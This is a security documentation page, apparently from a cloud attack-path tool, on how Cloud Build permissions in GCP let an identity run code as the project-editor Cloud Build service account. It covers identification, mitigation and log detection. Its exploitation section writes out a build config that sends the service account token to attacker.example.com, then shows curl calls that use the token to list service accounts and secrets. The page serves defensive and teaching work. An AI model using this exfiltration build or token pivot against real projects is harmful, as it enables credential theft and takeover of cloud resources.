> For the complete documentation index, see [llms.txt](https://docs.forestall.io/forestall/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.forestall.io/forestall/edges/gcp/gcp_trigger_build.md).

# GCP\_TRIGGER\_BUILD

## Summary

|                            |                                                            |
| -------------------------- | ---------------------------------------------------------- |
| **Forestall ACL Alias**    | GCP\_TRIGGER\_BUILD                                        |
| **GCP Alias**              | Compute Execution & Pipeline Pivots                        |
| **Affected Object Types**  | Projects                                                   |
| **Exploitation Certainty** | Certain                                                    |
| **Granting Roles**         | `roles/cloudbuild.admin`, `roles/cloudbuild.builds.editor` |

## Description

`GCP_TRIGGER_BUILD` indicates that an identity can submit and manage **Cloud Build** jobs in a GCP project. Cloud Build is GCP's managed CI/CD service, and build jobs run as the **Default Cloud Build Service Account** (`[PROJECT_NUMBER]-compute@developer.gserviceaccount.com`) by default. This SA is automatically granted `roles/editor` on the project, giving it broad write access.

An attacker with the ability to submit Cloud Build jobs can execute arbitrary code running as this highly privileged SA — without needing to create VMs or manage compute infrastructure. The attacker simply submits a build that reads and exfiltrates the SA's token from the build environment.

**Key abuse scenarios:**

* Submit a Cloud Build job with a malicious `cloudbuild.yaml` → code runs as the Cloud Build SA (project editor by default).
* Exfiltrate the Cloud Build SA token → use it as the SA for lateral movement.
* Modify build triggers to inject malicious steps into the CI/CD pipeline (supply chain attack).

## Identification

### gcloud CLI

```bash
# Find who has Cloud Build admin or editor roles
PROJECT_ID="my-project"
gcloud projects get-iam-policy $PROJECT_ID --format=json | \
  jq '.bindings[] | select(.role | test("cloudbuild.admin|cloudbuild.builds.editor")) | {role: .role, members: .members}'

# Check Cloud Build SA permissions
PROJECT_NUMBER=$(gcloud projects describe $PROJECT_ID --format="value(projectNumber)")
CLOUD_BUILD_SA="${PROJECT_NUMBER}@cloudbuild.gserviceaccount.com"
gcloud projects get-iam-policy $PROJECT_ID --format=json | \
  jq --arg sa "serviceAccount:${CLOUD_BUILD_SA}" '.bindings[] | select(.members[] | contains($sa))'

# List existing build triggers
gcloud builds triggers list --project=$PROJECT_ID \
  --format="table(name, description, createTime, github.name)"
```

### GCP Console

1. Open **GCP Console** → **Cloud Build** → **Triggers**.
2. Review all existing build triggers — check for unexpected source repositories or build configurations.
3. Open **IAM & Admin** → **IAM** to find principals with `Cloud Build Admin` or `Cloud Build Editor` roles.

## Exploitation

### gcloud CLI

```bash
# Write a malicious Cloud Build config that exfiltrates the Cloud Build SA token
cat > /tmp/cloudbuild.yaml << 'EOF'
steps:
- name: 'gcr.io/cloud-builders/gcloud'
  entrypoint: 'bash'
  args:
  - '-c'
  - |
    TOKEN=$(gcloud auth print-access-token)
    curl -s -X POST \
      -H "Content-Type: application/json" \
      -d "{\"token\": \"$TOKEN\"}" \
      https://attacker.example.com/collect
EOF

# Submit the build without source — executes as the Cloud Build SA (roles/editor by default)
PROJECT_ID="target-project"
gcloud builds submit --no-source --config=/tmp/cloudbuild.yaml --project=$PROJECT_ID
```

The Cloud Build SA token is valid for \~1 hour scoped to `cloud-platform`. Use the collected token to pivot:

```bash
# Access project resources as the Cloud Build SA
CLOUD_BUILD_TOKEN="<token-from-collection-endpoint>"

# List service accounts in the project
curl -s -H "Authorization: Bearer $CLOUD_BUILD_TOKEN" \
  "https://iam.googleapis.com/v1/projects/${PROJECT_ID}/serviceAccounts"

# Read Secret Manager secrets
curl -s -H "Authorization: Bearer $CLOUD_BUILD_TOKEN" \
  "https://secretmanager.googleapis.com/v1/projects/${PROJECT_ID}/secrets"
```

**Compound path:** `GCP_TRIGGER_BUILD` → submit malicious build → extract Cloud Build SA token (default `roles/editor`) → create SA keys or grant IAM roles → persistent access.

## Mitigation

1. **Restrict the Cloud Build SA's permissions** — the default `roles/editor` assignment is overly broad. Replace with a purpose-specific custom role.
2. **Use custom SA for Cloud Build** instead of the default SA.
3. **Restrict `roles/cloudbuild.builds.editor`** — only CI/CD systems and authorized developers should be able to submit builds.
4. **Enable build approval gates** for production build triggers.
5. **Audit build logs** for unexpected operations (token exfiltration, secret access, lateral movement commands).

## Detection

| Log Type       | Method        | Key Fields                                                                               |
| -------------- | ------------- | ---------------------------------------------------------------------------------------- |
| Admin Activity | `CreateBuild` | `resource.type=build`, `methodName=google.devtools.cloudbuild.v1.CloudBuild.CreateBuild` |

```bash
gcloud logging read \
  'resource.type="build" AND protoPayload.methodName="google.devtools.cloudbuild.v1.CloudBuild.CreateBuild"' \
  --project=$PROJECT_ID \
  --format="table(timestamp, protoPayload.authenticationInfo.principalEmail, resource.labels.build_id)"
```

Alert on:

* Build submissions outside of known CI/CD service accounts.
* Builds with inline `cloudbuild.yaml` (not from a tracked source repository).
* Build steps containing `gcloud auth print-access-token` or metadata server requests.
* Failed builds after unusual activity (attacker testing payloads).

## References

* <https://cloud.google.com/build/docs/overview>
* <https://cloud.google.com/build/docs/cloud-build-service-account>
